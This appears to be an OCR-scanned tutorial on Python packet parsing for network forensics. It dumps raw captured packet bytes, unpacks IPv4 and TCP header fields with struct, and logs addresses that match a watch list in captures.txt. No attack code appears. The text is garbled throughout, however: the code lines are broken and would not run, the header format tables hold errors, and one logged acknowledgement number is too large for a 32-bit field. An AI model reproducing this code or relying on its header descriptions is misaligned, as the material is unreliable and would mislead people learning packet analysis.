;\xebkf\xab\x14x"\xc2\xe8\xad\xb0\x01;\x8a\x06\x9b (PV\xeb6\xfdb\x8fj\xdeQ) \x03\xd6XY\x99
u\xe2I\xb2\xdb\r}* " \xb2.\x16d\xdfd\x92\xee\xf0@\xa6f\x7f\xa021i\xb3\xde\x99N\xb5?\xa0\x8
6\xb4\x1d\xa6\x81\x93d/g\xbe\x8c\xel0\xeb\xcb; \xelh%\xb4\xfd\xb6\x97{\ '\xb2K\x06\xc5\x8a
Y\xbf\xde \xlaE\xdl\xcé6\xlazz\xdc\xc6\xc0\x07\x12\xdaOh\xal\x9c\xef-\xe5T\xal\xedl\x£f0G
\x85&\x9%a\xce\x02[9\xa3[\xb4\xe7\x855 \x89\xc7\xc00\xab\'l\xd5a\x11\x01\xfe\t\x05\xcc\x
d7\xa9\xb7\x9d\xba\xa9w\x8a8\xa2\\\x13\x97J\n\x£33\xdb\xab6\xed\x0fW\xbb\xbaZ\xe5\xfa6@\
xcf\xdc\xel\xbb\xb2\x08\x8bg\x84\xf7\xfe\xbbCk\x82\x07\x12s\xa0\x82\x13rV\xdc\x9%e\x8b\x
cd\xca\xe8&\xd2\xde\xdc&\xbd\xec\x9%e\xcde\xba\xdd\x95\xd2\xfd\\\xdb0@\xec+\xacl3 6Q@\x8a
\x95\x9d\n\xaby\x8f\xc6\x0b\xeb!\x00\xa5\x07ne\xa3II\xefd \xb9\x14]\xfdyNH\xcd\xcb\x93)
\xb7\x00\xf6\xaf\x9a\x89\xb44\x99\x118vixfe\xe36\xe7J\x00\xc2\xf0\xbfT\x8f\xe0\x89\xf2\
x99\x08=|\x8c\xec*\xe2s!4x\xe9\xcb\xb4W\xf5\xca\x08E\xb5\x81r\xe2\x8b\x02\x9cR-\xcl1l\x99
X\x8a\x94CW\xf2\xec\xe3\x9¢c"V[\x12\xc6\x86\xcdA\xfe\xe3\xffR\x83\xe7\xb4N\xe8S\x7f\xf1l\
xe0\x17\x01\x9f#eb, \x0f\x97\x18MX7\xfe\x81\xc3\x08\x16p\xfeb\xae\x8b\x15\x031\x82\xdbu\
xf1IGI\xff\x0f.\xdf\x18\xal\xcl\xbd4o\x8c\xlae\xe7\xdl/\xba\x0b\x9f\xfc\xf5\x9%9eV}\x94\xee
29\xf4\xbf\xeb\x16\x8dS\x92 \xb5\xd2\x92\x8fhz*\xe7\xff\xcb\xlc\xf6\xab\'\xd7\xb5",
('186.192.115.56"', 0))

("E\x00\x01\x80\x14\xb8R\x00n\x06R\xb6\xb1l\xdf0>\xc0\xa8\x01D\x96"#\ "' (Y\xe9\x00\xla\x1l?2
\x0f\xcOP\x100\x98\xf3\xe0\x00\x00\xe8s[\xa3\xa9\x18\x11\xd4\xd31\x8c\xff\x1d\x85n\xcf\
xd8\xf2\x19j\x1cEO0\xd3\x8d\xf3wLwo\xcb3S\xca\xe9\xea\xcd\x90HkQ\xfdw\x86Ee\xfdi&\xfcP\x
bai\xd9o\'O\x1b\xfc\xcd ! \xfd\x8bC\xd3\xb2\x98B\x0c\xd9\x81T?\x11A\xee\x7fA\xdb\xel\xcb\x
caVO\x95\x8ak\xel\x1f\xc0\x92Z2\"\x11\xd7\x9%e: (\xba\xfe#f\xf7&&\xd6\xed%\xcd4\xd2\x08\x93\
x85\x9d\xfelxle

\xf5@\xfcs$\xf31\xdd\xba\xef\xceF (\xcl,vi\x82L\xa8\xd1l?\x0e\x1lb; \xe3\xd5\x9%, \x9d\xdf\xc
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3\xd7\xa3\xd8\xeb\xb0\xbdR@\x067 "\xb7\xa6Y\x160\t\x05/:\x9f\x98\xb60\x80\xcf\xfa{\xchE<6
M\x15\xaf\x8f\x8cUr\xb9\xf9\xe0\n\t\xbeH\x8e<\xb9, "\x90\xbf\x0ejd\xel\xfaGo9\xcO\t\xaeT\
xf46M\xb7\xb8\x0c\x04V\xdc\xb91\x1lc\xd2\xceIK\xf4\xc7\xd3\xco6l\xef\xbl\xd6ox\xfc\xca"b\x
b7s\xf2\x81\x1le\xf62A\xec\x94?2\x93g\x06n\xc3\xa3EBz\xb5\x8a\xa2\xbl\xfe\xea\x84\xfa3\x8
3\x10\x07\xd2"\xa3\xc0*\xe5\x921\xaec\xfa\x9az\xd4\\\xd6\xd1C\xb220\xdbYO\xd43\n\xcct\x
9b\xd2\xee\xfalx9b\x91\x04U0U\x93\xdc
\x94\xc8W!\x7f\xb8\xb3\xfl1lv\xa0\x0f\x87Pi\xaa\x88\xdb\xacH5M\xf8\xfa\xeb6\x84p\xb0\x94\x
cl\x19\xf8\xfc\xc9\xb9', ('177.223.48.62"', 0))

We can observe that it begins with: ('E and ends with the IP direction and the closing of the parenthesis
ip h = pac[0:20]

Place o indicates that there is nothing before it will start counting for data extraction, 20 indicates that there are 20

places to the right of the first reference, i.e. place 20.
Now we need to unpack.

Unpacking explanation.

Table 1:

Format Python type Standard size Notes
! big endian
X no value
¢ string of length 1 1
b integer 1 (3)
B integer 1 (3)
? bool 1 (D
h integer 2 (3)
H integer 2 (3)
i integer 4 (3)
I integer 4 (3)
1 integer 4 (3)
L integer 4 (3)
q integer 8 (2), (3)
Q integer 8 (2), (3)
f float 4 (1)
d float 8 (1)
S string
p string
12 integer (5), (3)
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With this table we can know the IP address
ipl = unpack ('!BBHHHBBH4s4s' , ip h)

In this case, we say to ip1 the IP address, it is necessary to add to the unpacked the variable ip_h which is where we

have our IP address.

The IP Header is structured as follows ****

Scheme 1:
Bits
0 4 8 16 19 31
Version Length Type of Service Total Length
Identification Flags Fragment Offset
Time to Live Protocol Header Checksum
Source Address

Destination Address

Options
Data
Understanding the format
Table2:
Format| Size (Bytes) Definition from Mapping Ipv4
4-bit version field (this will be 4, for IPv4)

B 1 4-bit Internet Header Length representing the number of 32 bit words

contained in the header
B L 7-bit Differentiated Services Code Point

1-bit Congestion Notification
H 2 16 bits defines the entire packet size
H 2 16 bits identifier for a group of IP fragments (Total length)
H 0 3-bit fragmentation flag
13-bit fragment offset value
B 1 8-bit TTL value to prevent packet looping (Time to live (TTL))
B L Protocol, 8-bit value identifying the protocol used in the data portion of
the packet

H 2 16-bit checksum value for error detection
4s 4 4-byte source IP address
4s 4 4-byte destination IP address
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With the data that we have obtained, based on the previous unpacking, we can get the

IPv version. The IP source, the IP destination, and the protocols:

versionh = ipl[0]

version = versionh >> 4

interneth = versionh & OxF

ipl length = interneth * 4

ttll = ipl[5]

protocol = ipl[6]

source_ a socket.inet ntoa (ipl[8]);
destination a = socket.inet ntoa (ipl[9]);
To get the real wvalues, they are the ones we have in square brackets.
Now we need to extract the data regarding TCP, for this we use the following:
tcph = unpack('!HHLLBBHHH' , tcp header)
source port = tcph[0]
dest port = tcph[1]
sequence = tcph[2]
acknowledgement = tcphl[3]

doff reserved = tcph[4]

tcph length = doff reserved >> 4

print ('Source Port : ' + str(source port) + ' Dest Port : ' + str(dest port) +
' Sequence Number : ' + str(sequence) + ' Acknowledgement : ' + str (acknowledgement) +
' TCP header length : ' + str(tcph length))

h size = ipl length + tcph length * 4

data size = len(pac) - h size
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sourcePort = tcpHeaderBuffer[0]
destinationPort = tcpHeaderBuffer([1l]
sequenceNumber = tcpHeaderBuffer([2]
acknowledgement = tcpHeaderBuffer[3]
dataOffsetandReserve = tcpHeaderBuffer[4]
tcpHeaderLength = (dataOffsetandReserve > > 4) * 4
flags = tcpHeaderBuffer[5]

FIN = flags & 0x01

SYN = (flags > > 1) & 0x01

RST = (flags > > 2) & 0x01

PSH = (flags > > 3) & 0x01

ACK = (flags > > 4) & 0x01

URG = (flags > > 5) & 0x01

ECE = (flags > > 6) & 0x01

CWR = (flags > > 7) & 0x01

windowSize = tcpHeaderBuffer[6]

tcpChecksum = tcpHeaderBuffer[7]
urgentPointer = tcpHeaderBuffer[8]

As we can see, we can extract any data that we wanted to be able to have a more complete analysis, we can also com-

bine with more tools and scripts to be able to make it more robust. In later deliveries, we will be making it more robust

The last part consists of analyzing the IP addresses with the addresses already listed, the existing IP address is stored

in our file called: captures.txt for line in content:
if source a in line or destination a in line

llena.write (' Source Address: ' + str(source a) + ' Destination Ad-

dress: ' + str(destination a) + '\n')
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llena.write('Version: ' + str(version) + ' IP Header Length: ' + str(in-
terneth) + ' ttl: ' + str(ttll) + ' Protocol: ' + str(protocol) +'\n')

llena.write('Source Port: ' + str(source port) + ' Dest Port: ' +
str (dest port) + ' Sequence Number: ' + str(sequence) + ' Acknowledgement :' + str(ac-
knowledgement) + ' TCP header length: ' + str(tcph_length)+'\n')

llena.write('Data: ' + data)

llena.write('\n"'")
The result is something like the following:
List 2:
Source Address: 157.240.3.35 Destination Address: 192.168.1.68
Version: 4 IP Header Length: 5 ttl: 90 Protocol: 6

Source Port: 443 Dest Port: 43970 Sequence Number: 432344699 Acknowledgement :505925010
TCP header length: 8

Data:
Source Address: 157.240.3.35 Destination Address: 192.168.1.68
Version: 4 IP Header Length: 5 ttl: 90 Protocol: 6

Source Port: 443 Dest Port: 43970 Sequence Number: 432344699 Acknowledgement :505925010
TCP header length:

Source Address: 157.240.3.35 Destination Address: 192.168.1.68
Version: 4 IP Header Length: 5 ttl: 90 Protocol: 6

Source Port: 443 Dest Port: 43970 Sequence Number: 432344741 Acknowledgement :505925517
TCP header length: 8

Data:
Source Address: 157.240.3.35 Destination Address: 192.168.1.68

Version: 4 IP Header Length: 5 ttl: 90 Protocol: 6
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Source Port: 443 Dest Port: 43970 Sequence Number: 432344741 Acknowledgement :505925517
TCP header length: 8

Source Address: 157.240.3.19 Destination Address: 192.168.1.68
Version: 4 IP Header Length: 5 ttl: 90 Protocol: 6

Source Port: 443 Dest Port: 49648 Sequence Number: 589385278 Acknowledgement
:27896041438 TCP header length: 8

CONCLUSION:
There are many ways to apply Python and its great benefits, its simplicity but also its power, it helps us in different ar-
eas of work or administrative life, in our case, we can use it for forensic analysis. Soon I will be publishing even more

about Python and the forensic analysis at the networking level.
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http://bt3gl.github.io/black-hat-python-building-a-udp-scanner.html
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